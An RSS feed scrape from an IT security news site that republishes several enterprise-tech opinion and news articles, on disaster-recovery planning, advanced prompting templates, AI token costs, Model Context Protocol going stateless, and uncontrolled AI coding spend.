<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



